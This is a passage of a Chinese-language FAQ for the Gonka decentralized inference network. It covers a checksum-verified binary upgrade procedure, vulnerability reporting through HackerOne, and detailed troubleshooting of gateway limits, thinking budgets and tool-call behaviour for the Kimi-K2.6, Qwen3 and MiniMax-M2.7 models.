秒，以确保更改已持久化，然后再触发升级。然后验证配置：
curl -sS http://127.0.0.1:9200/admin/v1/config \\\n | jq '.nodes[] | {id, models: (.models | keys)}'\n预期输出：
{\n \"id\": \"<nodeId>\",\n \"models\": [\n \"Qwen/Qwen3-235B-A22B-Instruct-2507-FP8\"\n ]\n}\n# 1. Create Directories\nsudo mkdir -p .dapi/cosmovisor/upgrades/v0.2.12/bin \\\n .inference/cosmovisor/upgrades/v0.2.12/bin && \\\n\n# 2. DAPI: Download -> Verify -> Unzip directly to bin -> Make Executable\nwget -q -O decentralized-api.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.12/decentralized-api-amd64.zip\" && \\\necho \"d0143a95e12e1ada06cfea5e4d3deab13534c3523c967e9a6b87ac9f9bf3247d decentralized-api.zip\" | sha256sum --check && \\\nsudo unzip -o -j decentralized-api.zip -d .dapi/cosmovisor/upgrades/v0.2.12/bin/ && \\\nsudo chmod +x .dapi/cosmovisor/upgrades/v0.2.12/bin/decentralized-api && \\\necho \"DAPI Installed and Verified\" && \\\n\n# 3. Inference: Download -> Verify -> Unzip directly to bin -> Make Executable\nsudo rm -rf inferenced.zip .inference/cosmovisor/upgrades/v0.2.12/bin/ && \\\nwget -q -O inferenced.zip \"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.12/inferenced-amd64.zip\" && \\\necho \"df7656503d39f6703767d32d5578d1291e32cb114844d8c1cd0f134d1bf4babd inferenced.zip\" | sha256sum --check && \\\nsudo unzip -o -j inferenced.zip -d .inference/cosmovisor/upgrades/v0.2.12/bin/ && \\\nsudo chmod +x .inference/cosmovisor/upgrades/v0.2.12/bin/inferenced && \\\necho \"Inference Installed and Verified\" && \\\n\n# 4. Cleanup and Final Check\nrm decentralized-api.zip inferenced.zip && \\\necho \"--- Final Verification ---\" && \\\nsudo ls -l .dapi/cosmovisor/upgrades/v0.2.12/bin/decentralized-api && \\\nsudo ls -l .inference/cosmovisor/upgrades/v0.2.12/bin/inferenced && \\\necho \"94ce943338d12844028e84fe770106c9d28d866cf0af99f27da30f56d69efa34 .dapi/cosmovisor/upgrades/v0.2.12/bin/decentralized-api\" | sudo sha256sum --check && \\\necho \"642eb9858cd77d182f3e1c4d44553f5379d615983430e1fd8e85f09632af4271 .inference/cosmovisor/upgrades/v0.2.12/bin/inferenced\" | sudo sha256sum --check\n无需是主机即可参与：任何人都可以报告安全漏洞，或为更广泛的 Gonka 基础设施贡献修复、改进和新功能。
有两个互补的渠道：
Gonka 在 HackerOne 上运行其安全计划。请通过官方表单 gonka.ai/docs/report-vulnerability 提交所有漏洞报告，而非在公共问题、拉取请求或聊天中公开披露。
HackerOne 上的奖励机制：
最终的严重性分类和奖励由 HackerOne 上的 Gonka 计划确定。下表仅作为严重性判断的一般参考。
一种常见的严重性思考方式是：
Risk = Impact × Likelihood\n影响级别
级别 描述 示例 关键 对整个网络造成灾难性影响 完全控制网络 高 大规模严重干扰 网络崩溃/停止；模块被盗；所有参与者奖励错误 中等 中度中断，范围有限 共识或奖励完整性面临风险；单个参与者的资金或可用性受损 低 对孤立参与者影响轻微，无链上影响 单组件，对单个参与者影响轻微，非链上可能性
风险矩阵
影响 \\ 可能性 高 中等 低 关键 关键 关键 高 高 关键 高 中等 中等 高 中等 低 低 中等 低 信息性"}, {"location": "gonka/docs/zh/FAQ/#_52", "title": "我如何参与协议开发？", "text": "如果您想帮助开发协议（而非报告安全问题），工作流程由社区在 GitHub 上驱动：
up-for-grabs 的现有问题，或创建您自己的问题并寻求社区验证该工作是否值得开展。在开始现有问题前，请留下简短评论，说明已开始工作并附上预计完成时间，以便他人了解情况，避免重复劳动。gonka-ai/gonka 提交 PR。贡献奖励如何支付： 被接受的贡献奖励将通过网络升级以稳定币形式发放。与所有链上操作一样，升级及其支付需经过治理批准。
"}, {"location": "gonka/docs/zh/FAQ/#_53", "title": "我在哪里提出和讨论协议创意？", "text": "社区对齐的 Gonka 网络开发路线图 描述了战略方向、路线图轨迹以及协议开发的当前优先级。使用它来了解当前最重要的事项，并使你的贡献和提案与网络的方向保持一致。
"}, {"location": "gonka/docs/zh/FAQ/#_55", "title": "我在哪里可以看到谁获得了奖励、奖励内容和时间？", "text": "对于安全奖励，记录保存在 HackerOne 上的 Gonka 计划中。对于协议贡献，最可靠的来源是链上记录和 GitHub。请将它们作为谁获得了奖励、奖励内容是什么以及何时执行的主要真实来源。
"}, {"location": "gonka/docs/zh/FAQ/#_56", "title": "错误", "text": ""}, {"location": "gonka/docs/zh/FAQ/#no-epoch-models-available-for-this-node", "title": "No epoch models available for this node", "text": "在这里你可以找到节点日志中可能出现的常见错误示例和典型日志条目。
2025/08/28 08:37:08 ERROR No epoch models available for this node subsystem=Nodes node_id=node1\n2025/08/28 08:37:08 INFO Finalizing state transition for node subsystem=Nodes node_id=node1 from_status=FAILED to_status=FAILED from_poc_status=\"\" to_poc_status=\"\" succeeded=false blockHeight=92476\nerr=\"no validator signing info found\"？", "text": "如果您在从状态同步快照启动时定期遇到 err=\"no validator signing info found\"，这通常与 Cosmos SDK iavl-fastnode 的行为有关。一个安全的解决方法是在初始启动时禁用 fastnode，然后（可选）在节点完全同步后重新启用它。
修复方法（Docker）：
docker stop node\n.inference/config/app.toml 中设置： iavl-disable-fastnode = true\ndocker start node\nNote
main 包含 v0.2.10-post6。从该版本开始启动的节点会自动应用此设置，因此通常无需手动更改。
如果您遇到以下情况，则与此相关
content=null 和 finish_reason=length。max_tokens=100 的探测请求没有任何返回。修复优先：Kimi-K2.6 的可用配置
如果您没有时间深入研究——请将此负载作为起点复制。截至 2026-05-28，它在两个公共经纪商上有效；在使用前请与您的经纪商运营商确认其是否仍为最新版本。
{\n \"model\": \"moonshotai/Kimi-K2.6\",\n \"messages\": [\n {\"role\": \"user\", \"content\": \"Write hello world in Python.\"}\n ],\n \"max_tokens\": 4096,\n \"thinking\": {\"type\": \"disabled\"},\n \"thinking_token_budget\": 0,\n \"temperature\": 0.2\n}\n为何使用这些确切字段：
max_tokens: 4096 — 让模型使用全部可用的输出配额。当前经纪商的有效上限为 3,072（参见 Q3）——更高值无意义。最低必须为 256，否则网关可能强制将 thinking_token_budget 设为零。thinking: {\"type\": \"disabled\"} — 通过聊天模板提示禁用隐藏思考。thinking_token_budget: 0 — 双重保障：在生成参数级别显式将配额归零（参见 Q2）。moonshotai/Kimi-K2.6（大写 K）在 gonka-api.org 上，moonshotai/kimi-k2.6（小写 k）在 gonkagate.com 上。遇到 404 —— 请切换大小写。与 GET /v1/models 的响应进行交叉核对。可直接使用的 curl（替换 <broker> 和模型 ID 的大小写）：
curl -sS https://<broker>/v1/chat/completions \\\n -H \"Authorization: Bearer $GONKA_API_KEY\" \\\n -H \"Content-Type: application/json\" \\\n -d @payload.json\n如果返回了有意义的文本——问题出在您的原始负载上；逐项对比字段。如果 content=null——捕获响应中的 id 并发送给经纪商支持团队。
首先检查您的经纪商是否启用了规则
网关行为取决于经纪商，且会随时间变化。运行此测试：
curl https://<your-broker>/v1/chat/completions \\\n -H 'content-type: application/json' \\\n -H \"Authorization: Bearer $GONKA_API_KEY\" \\\n -d '{\n \"model\": \"moonshotai/Kimi-K2.6\",\n \"messages\": [{\"role\": \"user\", \"content\": \"one word\"}],\n \"max_tokens\": 100\n }'\ndevshard ≥ 0.2.13（强制低于256时归零） finish_reason=\"length\"，约 0–10 个推理令牌 较旧版本 finish_reason=\"length\"，约 40–60 个推理令牌（默认 max_tokens / 2） 以下规则描述的是近期网关代码（devshard ≥ 0.2.13）。您的经纪商可能尚未更新。不确定版本？——请先运行上述修复优先方法。如果它能返回有意义的文本，则网关版本足够新。如果不能——请将 response.id 发送给经纪商支持团队，并询问是否需要更新。
模型和网关端发生了什么Kimi-K2.6 特性。 模型会输出 <think>…</think> 块。两个部分（<think> 和可见内容）均等消耗 max_tokens。 当 max_tokens 较小时，模型在 <think> 内耗尽全部配额，仅返回 </think>，而 vLLM 会将其作为特殊令牌剥离 → content=null，finish_reason=length。从客户端角度看——“0 个令牌”。
网关对 thinking_token_budget 的规则（PR #1202，devshard 0.2.13+）：
max_tokens < 256 ttb = 0（强制归零，覆盖客户端） ttb 未设置，max_tokens >= 256 ttb = max_tokens / 2 ttb 由客户端设置 使用客户端的值 始终 钳位：ttb ≤ 96,000 和 ttb ≤ max_tokens − 64 此外：
max_tokens 下限 → 16（PR #1227）——以前 max_tokens=1 可靠地产生 content=null。现在它被静默提升到 16。thinking: {\"type\":\"disabled\"} 镜像（PR #1224）——网关将其镜像到 chat_template_kwargs.thinking=false。Kimi 聊天模板读取该关键字参数。历史上产生 content=null（max_tokens=1，探针形状 max=100, min=100, ttb=50）的场景现在通过最新网关返回非空内容。在 gonkagate.com（2026-05-25）上，max_tokens=100 在没有 ttb 的情况下返回了约 50 个推理 token——force-zero-below-256 在那里未激活。
对于推理用户：
id 并发送给代理。提取方法：curl ... | jq .id\n格式：devshard-<short>-<short>，例如 devshard-7a4f-31b2。发送位置：代理的支持渠道（对于 gonka-api.org —— 网站上的支持链接；对于 gonkagate.com —— /contact 部分）。 - 不要仅依赖 thinking:disabled —— 为确保安全，请显式设置 thinking_token_budget: 0（参见 Q2）。
对于代理： 在 0.2.13 之前版本上——根据您的验证/发布周期更新（无需紧急：旧版本客户端和托管规则需要重新认证）。在更新前，客户端应用上述解决方法；在 devshard-0.2.13 后，零输出 content=null 的情况将消失。
这是网关策略，而非模型限制。 thinking_token_budget 解析器（PR #1202）默认分配 max_tokens / 2 用于推理。对于工具密集型流程，预算在产生任何有用输出前已耗尽。缓解方法是显式设置 thinking_token_budget: 0 或 thinking: {\"type\": \"disabled\"}（网关通过 PR #1224 将其镜像到 chat_template_kwargs）。模型仅遵守预算。
与 Q1 原因相同——模型将 max_tokens 分配给 <think> 和可见内容。这不是带宽问题，也不是输出限制。
两个逃生通道
thinking: {\"type\": \"disabled\"} —— 网关将其镜像到 chat_template_kwargs.thinking=false（Kimi 聊天模板读取该关键字参数）并移除顶层 thinking。\"adaptive\" 和 \"auto\" 被接受（Claude Code CLI / Anthropic SDK 预设，PR #1224）——两者均解析为 enabled。thinking_token_budget: 0 —— 显式零值直接作为生成参数传递给 vLLM，可靠地将思考预算清零。重要细节： 这些机制工作在不同层级（聊天模板提示 vs. 生成参数），互不重叠。thinking:disabled 不会自动清零 thinking_token_budget——在默认 max_tokens=4096 且仅设置 disabled 时，模型仍从网关解析器获得隐藏的 ttb=2048。在我们的测试中，Kimi 即使在推理密集型提示下也尊重 thinking:disabled。模型文档（计划中的 docs/chat-api/kimi-k2.6.md）警告在某些推理场景中模型可能忽略该提示——我们未复现，但仍作预防。双重保障： 对于关键流程，请同时发送两个参数。
数值确认
相同的 bug 发现提示，max_tokens=500，答案在语义上完全相同：
thinking: {\"type\":\"disabled\"} 65 3.6秒 默认（网关解析器 → ttb = max_tokens/2 = 250） 312 12.5秒 默认预算的一半被用于隐藏思考，即使对于简单任务——因此建议在工具密集型/代理型流程中禁用思考。
对于推理用户：
\"thinking\": {\"type\": \"disabled\"}（Kimi）或 \"enable_thinking\": false（Qwen，自动转换）。thinking_token_budget（不要依赖默认 max_tokens / 2）。thinking:disabled 仍导致您的提示耗尽预算——显式复制它并设置 thinking_token_budget: 0。对于代理： 在 0.2.13 之前版本上——按周期更新。在更新前，客户端应用上述解决方法。在落地页注明：Kimi 用于工具密集型流程时，需要 thinking:disabled，或显式设置 thinking_token_budget，或使用较大的 max_tokens。
问题中的数字不正确
max_tokens=8000，也会在恰好 3,072 时返回 finish_reason=length）。--max-model-len）。不是 4,000。输出限制的来源
代码中的网络上限为 4,096（RequestMaxTokensCap），但有效限制更低。确切机制是黑箱。可能的解释（按可能性排序，未通过公开代码确认）：
DefaultRequestMaxTokens = 3,072 未被代理运营商覆盖。POST /v1/admin/settings）为每个模型设置了 request_max_tokens_cap = 3,072。--max-tokens-per-request 或加载器约束）。要确切了解——请向代理查询每个模型的 request_max_tokens_cap 值。
3,072 个令牌能容纳多少内容
场景 是否能容纳在 3,072 个令牌内？ ~1,900–2,200 个常见英文单词 是 ~600–800 行 Python/JS 代码 是 简短回答（5–10 句话） 是 一次工具调用 + 中等大小的 JSON（arguments ≤ 500 个令牌） 是 小型结构化输出（3–5 个摘要要点） 是 长文档摘要（>10k 源令牌） 否 大型代码差异（>2k 行） 否 单次响应中包含 3 个或以上并行工具调用 否 智能体循环：同时包含推理 + 工具调用 + 可见内容 否 对于第二组使用场景——请向代理申请提高限制（参见 对代理的要求）。
如何提高限制
输出限制由代理控制，而非网络。要提高限制——请向您的代理提出请求：他们可以通过一次管理调用增加 request_max_tokens_cap（无需代码更改）。若要全局提升超过 4,096，则需要向网关代码提交 PR 并发布新版本；您可通过 gonka-ai/gonka 上的 GitHub 讨论发起此请求。
对好奇者/运营者：区块链存储每个模型的价格参数（coins_per_input_token、coins_per_output_token）和部署参数（model_args），但没有字段用于硬性输出限制——放宽限制是本地代理策略，而非治理定义的值。
240k 输入的来源
主网 Kimi-K2.6 部署是通过链上治理提案 v0.2.12（inference-chain/app/upgrades/v0_2_12/upgrades.go:kimiGovernanceModel()）注册的：
ModelArgs: [\"--max-model-len\",\"240000\",\n \"--tool-call-parser\",\"kimi_k2\",\n \"--reasoning-parser\",\"kimi_k2\"]\nVRam: 720 (GB)\n模型卡声明支持256K原生上下文。网关除了通用的请求体大小限制（10 MiB）和消息数量限制（≤ 2,048）外，不单独限制输入——详见docs/chat-api/README.md中的“请求限制”部分（计划中的文档）。
重要注意事项（开放问题）
即使代理同意提高输出上限，单个节点仍可能以较小的--max-model-len启动。网关路由层不会考虑每个主机的上下文容量（问题 #818）。对于大负载（>50k），落在“小”节点上是系统性行为，而非临时随机性。
对于推理用户：
request_max_tokens_cap值。--max-model-len，而非全局限制。路由层未考虑每主机上下文（问题 #818）；对于大负载（>50k）这是系统性问题。解决方法：重试或将请求拆分为多个API调用。gonka-ai/gonka上发起GitHub讨论来申请。对于代理：
POST /v1/admin/settings配合model_limits[].request_max_tokens_cap进行一次管理员操作，无需代码变更。这会增加每请求的担保暴露风险，并可能导致触及每主机的--max-model-len（节点上出现5xx错误）。仅在验证所有担保节点上的--max-model-len后，针对有明确需求的模型提升。简要说明
Kimi模型在模型和网关层面均接受30k+输入，但稳定性取决于路由。原生窗口为256K，主网部署使用--max-model-len 240000，网关接受最大10 MiB的请求体。实测单次约69,000提示词元（≈800条消息 × 80词）可在5.5秒内完成。但在持续/重复长请求（>50k）时，会遇到不稳定性（问题 #818）——对于大负载（215k），重复尝试可能因503错误而失败。
验证来源（均在gonka-ai/gonka中）
docs/chat-api/中的模型卡（确切文件名作为chat-api文档集的一部分计划中）。inference-chain/app/upgrades/v0_2_12/upgrades.go:kimiGovernanceModel()。docs/chat-api/README.md（计划中），即“请求限制”部分。当30k失败时——两个典型原因1. 代理负载中的单个被拒绝字段。 网关维持严格的白名单。若代理发送了任意一个非标准字段（tags、enforced_tokens、plugins、guided_json）——整个请求将被拒绝并返回HTTP 400。Hermes特有的tags拒绝——锚点#reject-tags在docs/chat-api/troubleshooting.md中（计划中）。实测：一个有效的69k负载 + tags:[\"session:abc\"] → 2秒内返回HTTP 400。
2. 路由至具有较小--max-model-len的节点。 网关路由层在路由时未考虑主机的实际上下文大小（问题 #818；另见计划中的known-issues.md §3）。对于超长负载（>50k，尤其是>200k），落在“小”节点上是网络层面的系统性行为，而非客户端错误：我们的测量显示5×215k = 0/5成功。请求将在vLLM端失败。
相关构建者请求：问题 #1229（2026年5月开放），代理场景的阻塞问题——长推理链、工具调用兼容性、超出输出限制后的继续执行。
快速自诊断清单
tags、enforced_tokens、plugins、strict、guided_json、guided_regex、guided_grammar、guided_choice，每次移除后重新发送相同请求。tools[].function.parameters中的schema深度（≤ 16）和节点总数（≤ 256），参见Q9。对于推理用户：
docs/chat-api/README.md中的白名单（计划中）。大多数Hermes/OpenClaw的400错误源于单个字段或schema。\"Chat completions parameter \\\"tags\\\" is currently rejected by the Gonka network...\"附文档链接）。代理对比——comparison-brokers.md（计划中）。若一个代理显示通用错误——尝试另一个以获取可读消息并定位根本原因。对于代理：
/v1/models端点或文档中明确展示每个模型的原生上下文窗口，并注明因主机异构性，实际每请求容量可能更低（问题 #818）。部分代理故意省略此信息以避免过度承诺——这是可辩护的选择。(2) 在主机级容量披露功能实现前——考虑客户端过滤或“首选主机”列表。\"Chat completions parameter \\\"tags\\\" is currently rejected by the Gonka network...\" + 文档链接）。我们建议在生产环境中将详细消息传递给客户端——这能加速诊断。安全提示： 详细消息可能暴露内部字段名、主机路径和验证器ID，有助于枚举或提示注入攻击。保守的掩码是可辩护的默认行为。若为安全起见将它们包装为通用\"upstream provider rejected\"——请采用混合方式：在异步日志/错误跟踪中保留完整细节，向客户端返回含追踪ID的通用消息。代理兼容性地图——docs/chat-api/agents.md（计划中）。既非带宽限制，也非Gonka端限制。三个重叠原因。
(a) max_tokens截断
在测试的代理上，有效输出上限为3,072词元；网关网络上限为4,096。当助手在arguments中生成包含大型JSON块的工具调用并附加可见内容时，可能触及代理的实际上限，导致JSON被截断。各代理覆盖详情——Q3。
(b) Kimi-K2.6工具解析器的重复ID冲突
[vLLM PR #21259 — UNVERIFIED]。使用n > 1时，kimi_k2解析器在每选择循环内重新计算history_tool_call_cnt——两个分支均获得id = functions.<name>:0。网关在vLLM响应中检测到重复ID，根据OpenAI规范拒绝并返回HTTP 400。锚点#reject-duplicate-tool-call-id在docs/chat-api/troubleshooting.md中（计划中）。上游修复——vLLM PR #21259（合并状态尚未独立确认）。
(c) Hermes工具解析器在多个工具块中的JSONDecodeError
[vLLM #17790 — awaiting upstream fix]。不同解析器，不同问题：当模型在一个响应中发出多个工具调用块时，出现JSONDecodeError——vLLM #17790。相关问题：<tool_call>在<think>内破坏Hermes解析——vLLM #42021。这些问题不依赖Gonka——等待上游修复。
推理用户：
tool_call.id 重写为规范格式 functions.<name>:<global_idx> —— Moonshot 官方推荐，已在 docs/chat-api/troubleshooting.md#reject-duplicate-tool-call-id（计划中）重复。另一种选择是使用全新的 UUID。max_tokens；大型 arguments 数据块会迅速达到上限。对代理：
functions.<name>:<global_idx>（不要去重）。在客户 FAQ 中记录此模式，并链接至 troubleshooting.md#reject-duplicate-tool-call-id。安全提示：若未仔细验证，简单的按 ID 去重会构成攻击面。将名称规范化而非删除更安全。\"messages[N].tool_calls[M].id is duplicated\"），而非通用包装器——这能减少代理客户端的修复时间。安全提示：平衡调试友好性与信息泄露风险——参见 Q4。引导解码与令牌上限无关。 该机制强制模型按指定模式（JSON Schema、正则表达式）生成输出，但不会改变令牌数量。关于上限问题——参见 Q3。
底层 vLLM 字段 guided_json、guided_regex、guided_grammar、guided_choice 会被网关以 HTTP 400 拒绝（锚点 #reject-guided-decoding 在 docs/chat-api/troubleshooting.md 中（计划中））。原因——它们绕过了应用于 response_format / structured_outputs 封装的 xgrammar 边界，以缓解 CVE-2025-48944。
结构化输出的正确字段
字段 Kimi K2.6 Qwen3-235B 备注response_format（type: \"json_schema\" 或 \"json_object\"） 可用 可用 OpenAI 标准。可靠选择。已在两个模型上通过公共代理实证验证。 structured_outputs 封装（json/regex/choice/grammar/structural_tag/json_object） HTTP 400（全网拒绝） HTTP 400（全网拒绝） PR #1215（StructuredOutputsValidator）已在仓库合并，但截至 2026-05-25 尚未在生产主网激活。两个代理均以相同错误拒绝：\"Chat completions parameterstructured_outputsis currently rejected by the Gonka network\"——错误引用的是开发分支 dl/devshards-gateway-to-main，而非主分支。这是全网发布延迟，而非单代理问题。目前唯一可靠的结构化输出选项是 Kimi K2.6 和 Qwen3 上的 response_format。 同时使用两者（response_format + structured_outputs） HTTP 400 HTTP 400 / 502（取决于代理） 网关在 vLLM 之前拒绝此组合（锚点 #reject-structured_outputs-with-response_format）。在 vLLM 0.20.0 中，字段通过 dataclasses.replace() 合并，违反了 StructuredOutputsParams.__post_init__ 中的“仅允许一个”规则。 推理用户：
response_format（处处可用）。structured_outputs 封装目前被全网拒绝。response_format 和 structured_outputs——HTTP 400。代理：
StructuredOutputsValidator）在所有路径上的部署——Qwen3 用户已等待 structured_outputs 封装用于正则表达式/选择/语法工作负载。速度波动是一个真实且已知的开放问题，根源在于三个不同层级。
1. 每主机减速/停滞（主机层）
一个开放的研究课题——问题 #818 “慢节点调查”（自 2026 年 2 月起开放，优先级：高）。存在特定模式但无根本原因（计划中的 known-issues.md，第 1 节“主机接收后无流返回”和第 2 节“主机生成块后停滞”——有时一分钟后恢复，有时永不恢复）。
2. 路由差异（代理层）
两次连续请求之间，代理可能路由到负载不同的不同主机。端到端延迟取决于 devshard-XXXX-YYY 主机 ID。在稳定主机上，每令牌生成速度基本保持不变。[¹]
[¹] 描述性观察：在一次测试中（约30秒内发送5个请求），端到端延迟变化导致tokens / total_latency的范围为~8–54 tok/s，但该指标包含TTFT，且并非公布的方差指标。
3. 网络层（链级）的验证窗口
在PoC/确认性PoC事件（cPoC——用于确认验证者在某个周期内工作的阶段）期间，部分节点会暂时不可用。在周期边界处，已知存在快照保留节点的问题，网关返回attempts: []（路径上无可用主机）——从客户端角度看，表现为超时。该影响在代理服务的该模型节点数量越少时越明显；在提供者数量较少的模型上更为显著。
\"推理速度比可见更快\"——并非优先级，而是输出结构
网关上不存在针对推理token的特殊快速通道。在devshard代码中，delta.reasoning、delta.content、delta.reasoning_content、delta.tool_calls均通过sseChunkHasContent以相同方式检测。每token的速度相同。
开启思维功能的Kimi首先生成大量reasoning_content（数百至数千token），然后输出简短的可见答案（数十至数百token）。未显示推理字段的客户端会看到\"沉默一段时间，然后突然爆发式输出答案\"。实际上模型一直在生成，只是结果被隐藏了。
对于推理用户：
delta.reasoning_content（或delta.reasoning），例如在折叠块中。对于代理：
lastAfterReq跟踪——已在计划的host-improvements.md及相关问题中追踪）——它们直接解决路由/恢复的薄弱环节。速度取决于硬件——这是异构网络的正常现象。 链上的PoC权重反映节点的实际性能（影响验证者的奖励份额），而代理的路由在本地从escrow中选择可用主机——两次连续请求可能落在不同代际的GPU上。
对于推理用户： 速度取决于网络中的硬件分布。您不直接选择硬件——您选择代理。需要可预测的延迟——询问代理默认路由到哪种硬件层级。
对于代理：
差异的确切来源（根据kaitakuai/experiments的内部基准测试——未在gonka-api.org或gonkagate.com上测量）：
experiments/2026-05/kimi_k26_int4_4xb200_q-int4-k2）。16×H100 TP提供1,389 nonces/min = ~87 每GPU（见experiments/2026-05/kimi-k26-int4-2x8xh100）。每GPU的差异约为6倍；绝对数值上，每GPU的Kimi在相同硬件上比Qwen慢（4×B200 Kimi INT4 ~560 每GPU vs Qwen ~992 每GPU）。VLLM_USE_FLASHINFER_MOE_INT4=1 相比 Marlin +138%（experiments/2026-05/kimi_k26_b300_eager_flashinfer中的A/B测试）。仅适用于Blackwell系列上的INT4 MoE工作负载（内核门控——is_device_capability_family(100)，覆盖B100/B200/B300；B300实际为sm_103a）。追踪与诊断： 可观测性已在PR #1046 \"Implement dapi & devshard observability\"中合并——它添加了OpenTelemetry追踪、Prometheus指标和仪表板。如果Grafana没有每主机TTFT面板——请检查DAPI/devshard是否已更新且仪表板已包含在构建中。
其他来源：仓库kaitakuai/experiments（定期更新）、您从gonka.pw获取的每主机统计信息，以及来自meter.gonka.gg的网络状态。想要影响硬件分布——将devshard escrow扩展到具有首选GPU的主机。
最可能有四个原因——网关应用了严格的参数白名单和对JSON Schema的严格限制。这不是Kilo特有的：任何编码代理（Cline、Continue.dev、OpenCode等）都会触发相同原因。
1. 硬性拒绝（HTTP 400）——需要在客户端修复
触发 原因 修复 有效载荷中的tags 字段 不属于 OpenAI Chat Completions 标准；民间 Hermes 约定；锚定 #reject-tags 使用 metadata (OpenAI 标准) 或 user 进行跟踪 tools[].function.parameters 中的 Schema 深度 > 16 CVE 驱动的上限 扁平化 Schema；PR #1187 将其从 5 提高到 16 Schema 节点总数 > 256 CVE 驱动的上限 减少它；PR #1195 将其从 128 提高到 256。具有大型输入 Schema 的 MCP 工具可能接近此限制；请在您的网关上测试。如果您确实需要一个节点数超过 256 的 MCP 工具——请提交功能请求。 2. 静默强制转换/剥离——请求不会失败，但行为发生变化
触发 网关的行为 备注tool_choice: \"required\" 静默 → \"auto\" (网络策略) 锚定 #coerce-tool-choice-required。在大多数情况下，模型会对明显与工具相关的提示发起工具调用，但没有“必需”的保证 tools[].function.strict: true 静默丢弃该字段 vLLM 解析器 (hermes, kimi_k2) 忽略该标志。PR #1193 已知客户端的兼容性矩阵：docs/chat-api/agents.md（计划中）。一个基本可用的工具调用示例：开发者快速入门 §1.4。
对于推理用户：
agents.md 和 troubleshooting.md 中的列表交叉核对（计划中）——大多数 400 错误都属于已记录的拒绝锚点（#reject-tags、#reject-enforced_tokens、#reject-structured_outputs-kimi）。tags、enforced_tokens、plugins、strict、guided_*；逐个移除并重新发送请求。若无帮助——检查 Schema 深度（≤16）和节点数（≤256）。对于代理：
agents.md 的链接——这是一个低成本的快速改进点。gonka-ai/gonka 中的非标准字段提交问题——这有助于整个生态系统的每个代理。三个因素的组合
原始 FAQ 曾提到第四个因素——特殊标记清理器——但该因素涉及安全/提示注入，而非工具调用失败；PR 修复被推迟，因为 Kimi 正确处理了特殊标记（经实证）。
max_tokens 的一半分配给思考（参见 Q1/Q2）。在默认 thinking_token_budget = max_tokens / 2 下，它在模型开始生成工具调用之前就已耗尽 <think>。对于工具密集型代理流程，预算在产生有用输出前就已耗尽。缓解措施——显式设置 thinking_token_budget: 0（Q2）。这是网关策略，而非模型限制。arguments 数据块 + 可见内容很容易达到上限。tool_calls[].id 与 n>1 冲突（vLLM PR #21259 — 未验证）以及 Hermes 解析器在多个工具块上的 JSONDecodeError 问题（vLLM #17790）。构建者痛点链接：issue #1229——长推理链、工具调用兼容性、超出输出限制后的延续被列为代理编码工作流的阻碍。
对于推理用户：
\"thinking\": {\"type\": \"disabled\"} + \"max_tokens\": 4096（或显式设置 thinking_token_budget: 0，参见 Q2 的双重保险）。这可为工具密集型输出释放全部上限。实证：Kimi 轻松地在一个响应中发出 5 个并行工具调用，耗时约 4 秒。functions.<name>:<global_idx>（Q5），以避免网关因重复 ID 而拒绝。对于经纪人：
request_max_tokens_cap 通过 /v1/admin/settings）与上述建议结合 —— 这涵盖了您网关上主要的代理故障类别。有三个原因；客户端可以绕过其中两个，但无法绕过第三个。
max_tokens 在大差异时被截断。 大型代码补丁无法适应 3,072 的有效上限（Q3）。解决方法：将差异拆分为多个工具调用 —— 模型在每次调用中更容易适应预算。devshard 0.2.13）上，大多数已知的崩溃场景被 400 个验证器拦截，而非崩溃。known-issues.md §1）—— 主机接受了请求，但不返回数据块。这是网络层面的问题，客户端除了重试外无其他解决方法。对于推理用户：
\"thinking\": {\"type\": \"disabled\"} + \"max_tokens\": 4096。大型差异 —— 拆分为多个工具调用。对于经纪人： 在客户常见问题解答中记录针对编码代理客户端的“拆分大差异”模式。
"}, {"location": "gonka/docs/zh/FAQ/#_60", "title": "是否存在一个模型能同时处理输入和输出而无任何权衡？", "text": "MiniMax-M2.7 于 2026-05-28 左右通过链上治理升级 v0.2.13 上线主网 —— Gonka 的第三个模型。已在两个经纪人上验证为在线。澄清：问题中提到的“Qwen 输出上限为 8,192”不准确 —— 所有模型的输出上限相同（Q3 为 3,072 / 4,096），而非模型端决定。
模型 原生上下文 主网 原生思考 工具调用 Kimi-K2.6 256K 240K 是（chat_template_kwargs）functions.<name>:<idx> Qwen3-235B-A22B-Instruct-2507-FP8 128K 240K 否（Instruct） hermes 解析器 MiniMax-M2.7 ~180K 180K 是（<think> 在内容中） chatcmpl-tool-<hash> MiniMax 部署规范（inference-chain/app/upgrades/v0_2_13/upgrades.go:minimaxGovernanceModel()）：
ModelArgs: [\"--enable-auto-tool-choice\", \"--kv-cache-dtype\", \"fp8\",\n \"--tool-call-parser\", \"minimax_m2\",\n \"--reasoning-parser\", \"minimax_m2_append_think\"]\nVRam: 320 GB ThroughputPerNonce: 5000 (Kimi 1500 — MiniMax ×3.3 higher)\nminimaxStartEpoch: 271\nHfCommit: d494266a4affc0d2995ba1fa35c8481cbd84294b\nMiniMax 与 Kimi/Qwen 的重要区别：
<think> 块在 delta.content 中（不在 reasoning_content 中，如 Kimi）—— minimax_m2_append_think 解析器的行为。如果您不需要这些标签出现在最终文本中，请在客户端解析这些标签。chatcmpl-tool-<hash> —— 已经通过形状保证唯一，因此关于规范 ID 重写的 Q5 建议不适用。相关工件：PR #1163 权重缩放（2026-05-13 合并，使经济模型与 Kimi 对齐）；PR #1226（开放，未合并）—— 在已部署模型之上进行的网关端重构，非阻塞项。
对于推理用户： MiniMax-M2.7 今日可用（ID 为 gonka-api.org 上的 MiniMaxAI/MiniMax-M2.7，gonkagate.com 上的 minimaxai/minimax-m2.7——参见大小写敏感性 Q1）。根据工作负载选择：Kimi 用于推理+工具，Qwen3 用于大上下文+结构化输出，MiniMax-M2.7 是 Kimi 的工具友好型替代方案，具有更高吞吐量。
对于经纪人： 部署通过 v0.2.13 升级由网络完成。未提供 MiniMax——请检查 mlnode-image 是否支持上述部署参数且主机已更新。PR #1226（开放）将改善用户体验（按模型分发、工具消息形状），但不构成阻塞。
"}, {"location": "gonka/docs/zh/FAQ/#_61", "title": "为什么没有可用的网页搜索功能？", "text": "按设计——Gonka 是一个推理网络，而非代理框架。插件/网页执行属于客户端代理层或提供增值服务的经纪人的责任，不属于推理路径。
